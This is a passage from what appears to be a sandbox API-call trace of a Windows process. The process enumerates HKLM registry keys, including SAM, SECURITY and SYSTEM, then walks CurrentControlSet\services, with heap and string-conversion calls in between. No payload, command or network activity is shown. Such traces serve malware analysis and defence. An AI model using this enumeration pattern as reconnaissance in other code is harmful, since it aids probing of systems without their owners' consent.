(HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0243.980] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x21f1df0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sam", lpUsedDefaultChar=0x0) returned 3 [0243.980] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0243.980] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0243.980] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0243.980] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0243.980] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0243.980] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0243.980] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0243.980] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0243.980] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="security", lpUsedDefaultChar=0x0) returned 8 [0243.980] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0243.980] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0243.980] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0243.980] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0243.980] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0243.980] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0243.980] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0243.980] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0243.980] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f1df0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0243.980] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0243.980] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0243.980] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0243.980] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0243.980] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0243.980] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0243.980] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0243.981] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0243.981] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x21f1a00, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="system", lpUsedDefaultChar=0x0) returned 6 [0243.981] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0243.981] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0243.981] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0243.981] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0243.981] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x150) returned 0x0 [0243.981] RegCloseKey (hKey=0x80000002) returned 0x0 [0243.981] RegEnumKeyW (in: hKey=0x150, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0243.981] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0243.981] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0243.981] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0243.981] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x21f1df0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset001", lpUsedDefaultChar=0x0) returned 13 [0243.981] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0243.981] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0243.981] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0243.981] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0243.981] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0243.981] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0243.981] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0243.981] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0243.981] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x21f1a00, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset002", lpUsedDefaultChar=0x0) returned 13 [0243.981] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0243.981] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0243.981] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0243.981] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0243.981] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0243.981] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0243.981] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0243.981] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0243.982] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x21f1df0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mounteddevices", lpUsedDefaultChar=0x0) returned 14 [0243.982] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0243.982] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0243.982] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0243.982] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0243.982] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0243.982] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0243.982] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0243.982] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0243.982] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x21f1a00, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rng", lpUsedDefaultChar=0x0) returned 3 [0243.982] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0243.982] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0243.982] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0243.982] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0243.982] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0243.982] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0243.982] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0243.982] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0243.982] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x21f1df0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="select", lpUsedDefaultChar=0x0) returned 6 [0243.982] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0243.982] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0243.982] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0243.982] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0243.982] RegEnumKeyW (in: hKey=0x150, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0243.982] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0243.982] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0243.982] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0243.982] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x21f1a00, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="setup", lpUsedDefaultChar=0x0) returned 5 [0243.982] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0243.982] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0243.982] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0243.982] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0243.982] RegEnumKeyW (in: hKey=0x150, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0243.983] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0243.983] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0243.983] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0243.983] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f1df0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0243.983] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0243.983] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0243.983] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0243.983] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0243.983] RegEnumKeyW (in: hKey=0x150, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0243.983] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0243.983] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0243.983] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0243.983] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x21f1a00, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wpa", lpUsedDefaultChar=0x0) returned 3 [0243.983] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0243.983] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0243.983] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0243.983] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0243.983] RegEnumKeyW (in: hKey=0x150, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0243.983] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0243.983] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0243.983] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0243.983] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x21f1df0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="currentcontrolset", lpUsedDefaultChar=0x0) returned 17 [0243.983] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0243.983] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0243.983] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0243.983] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0243.983] RegOpenKeyExW (in: hKey=0x150, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x154) returned 0x0 [0243.983] RegCloseKey (hKey=0x150) returned 0x0 [0243.983] RegEnumKeyW (in: hKey=0x154, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0243.984] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0243.984] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0243.984] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0243.984] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x21f1a00, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="control", lpUsedDefaultChar=0x0) returned 7 [0243.984] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0243.984] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0243.984] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0243.984] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0243.984] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0243.984] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0243.984] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0243.984] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0243.984] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x21f1df0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="enum", lpUsedDefaultChar=0x0) returned 4 [0243.984] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0243.984] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0243.984] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0243.984] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0243.984] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0243.984] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0243.984] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0243.984] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0243.984] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x21f1a00, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware profiles", lpUsedDefaultChar=0x0) returned 17 [0243.984] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0243.984] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0243.984] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0243.984] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0243.984] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0243.984] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0243.984] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0243.984] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0243.984] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x21f1df0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="policies", lpUsedDefaultChar=0x0) returned 8 [0243.984] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0243.984] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0243.985] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0243.985] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0243.985] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0243.985] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0243.985] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0243.985] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0243.985] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="services", lpUsedDefaultChar=0x0) returned 8 [0243.985] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0243.985] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0243.985] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0243.985] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0243.985] RegOpenKeyExW (in: hKey=0x154, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x150) returned 0x0 [0243.985] RegCloseKey (hKey=0x154) returned 0x0 [0243.985] RegEnumKeyW (in: hKey=0x150, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0243.985] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0243.985] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0243.985] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0243.985] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x21f1df0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr data", lpUsedDefaultChar=0x0) returned 13 [0243.985] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0243.985] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0243.985] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0243.985] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0243.985] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0243.985] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0243.985] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0243.985] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0243.985] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x21f1a00, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking", lpUsedDefaultChar=0x0) returned 19 [0243.985] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0243.985] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0243.985] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0243.985] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0243.986] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0243.986] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0243.986] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0243.986] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0243.986] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x21f1df0, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 